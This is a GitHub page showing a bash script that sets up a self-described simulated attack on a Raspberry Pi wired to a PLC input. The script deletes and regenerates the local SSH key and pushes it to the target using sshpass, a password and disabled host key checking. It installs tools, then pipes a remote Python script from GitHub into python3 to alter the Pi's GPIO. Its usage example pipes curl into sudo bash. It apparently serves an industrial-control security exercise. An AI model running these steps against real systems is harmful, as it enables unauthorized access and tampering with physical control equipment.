-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh_preconfig.sh
More file actions
133 lines (109 loc) · 3 KB
/
ssh_preconfig.sh
File metadata and controls
133 lines (109 loc) · 3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env bash
# This script is the pre-configuration before performing the simulated attack to modify the Raspberry Pi GPIO
# Script execution example:
# curl -sL https://raw.githubusercontent.com/L1LBRO/Modify-GPIO-Raspberry-Pi/refs/heads/main/ssh_preconfig.sh | sudo bash -s
# Define color constants
colorBlue='\033[0;34m'
colorLightBlue='\033[1;34m'
colorGreen='\033[1;32m'
colorRed='\033[1;31m'
colorEnd='\033[0m'
echo ""
echo -e "${colorLightBlue} Starting the Raspberry Pi GPIO modification script...${colorEnd}"
echo ""
# Verify number of parameters
if [ $# -ne 5 ]; then
echo ""
echo "Usage: $0 <IP> <Passphrase> <User> <PLC Input %IX0.x> <RaspberryPass>"
echo ""
exit 1
fi
# Parameters
RPI_IP=$1
SSH_PASSPHRASE=$2
RPI_USER=$3
PLC_INPUT=$4
RPI_PASSWORD=$5
# Generate ssh keys
echo ""
echo "Generating SSH keys to connect to the Raspberry Pi..."
echo ""
# Key file path
SSH_KEY_PATH="${HOME}/.ssh/id_rsa"
# Remove if the key already exists
if [ -f "$SSH_KEY_PATH" ]; then
rm -f "$SSH_KEY_PATH"
fi
# Generate the ssh key
ssh-keygen -t rsa -b 4096 -f "$SSH_KEY_PATH" -C "$RPI_USER@$RPI_IP" -N "$SSH_PASSPHRASE"
if [ $? -eq 0 ]; then
echo ""
echo "SSH key generated successfully at $SSH_KEY_PATH."
echo ""
else
echo ""
echo "There was an error generating the SSH key."
echo ""
exit 1
fi
echo ""
echo "Sending the SSH keys to the target machine..."
echo ""
# Install sshpass if not installed
echo "Installing sshpass..."
sudo apt install sshpass -y
# Ensure public key permissions are correct
chmod 644 "${HOME}/.ssh/id_rsa.pub"
# Use sshpass to copy the SSH key with the provided password
echo "Sending the SSH public key with ssh-copy-id..."
sshpass -p "$RPI_PASSWORD" ssh-copy-id -o StrictHostKeyChecking=no -i "${HOME}/.ssh/id_rsa.pub" "$RPI_USER@$RPI_IP"
if [ $? -eq 0 ]; then
echo ""
echo "Keys sent successfully."
echo ""
else
echo ""
echo "There was an error sending the SSH key. Check SSH logs on the Raspberry Pi."
echo ""
exit 1
fi
echo ""
echo "Installing required packages..."
echo ""
# Package required for SSH connection via python
cd ~
git clone https://github.com/WiringPi/WiringPi.git
cd WiringPi
./build
if [ $? -eq 0 ]; then
echo ""
echo "WiringPi package installed successfully."
echo ""
else
echo ""
echo "There was an error installing the WiringPi package."
echo ""
exit 1
fi
echo ""
echo "GPIO version"
echo ""
gpio -v
echo ""
echo "Installing Paramiko..."
echo ""
# Install Paramiko
sudo apt install python3-paramiko -y
if [ $? -eq 0 ]; then
echo ""
echo "Paramiko package installed successfully."
echo ""
else
echo ""
echo "There was an error installing the Paramiko package."
echo ""
exit 1
fi
# Call the Python script to modify the GPIO
echo "Running Python script to modify GPIO..."
curl -sL https://raw.githubusercontent.com/L1LBRO/Modify-GPIO-Raspberry-Pi/refs/heads/main/Gpio_Mod_exit.py | python3 - "$RPI_IP" "$SSH_KEY_PATH" "$SSH_PASSPHRASE" "$RPI_USER" "$PLC_INPUT"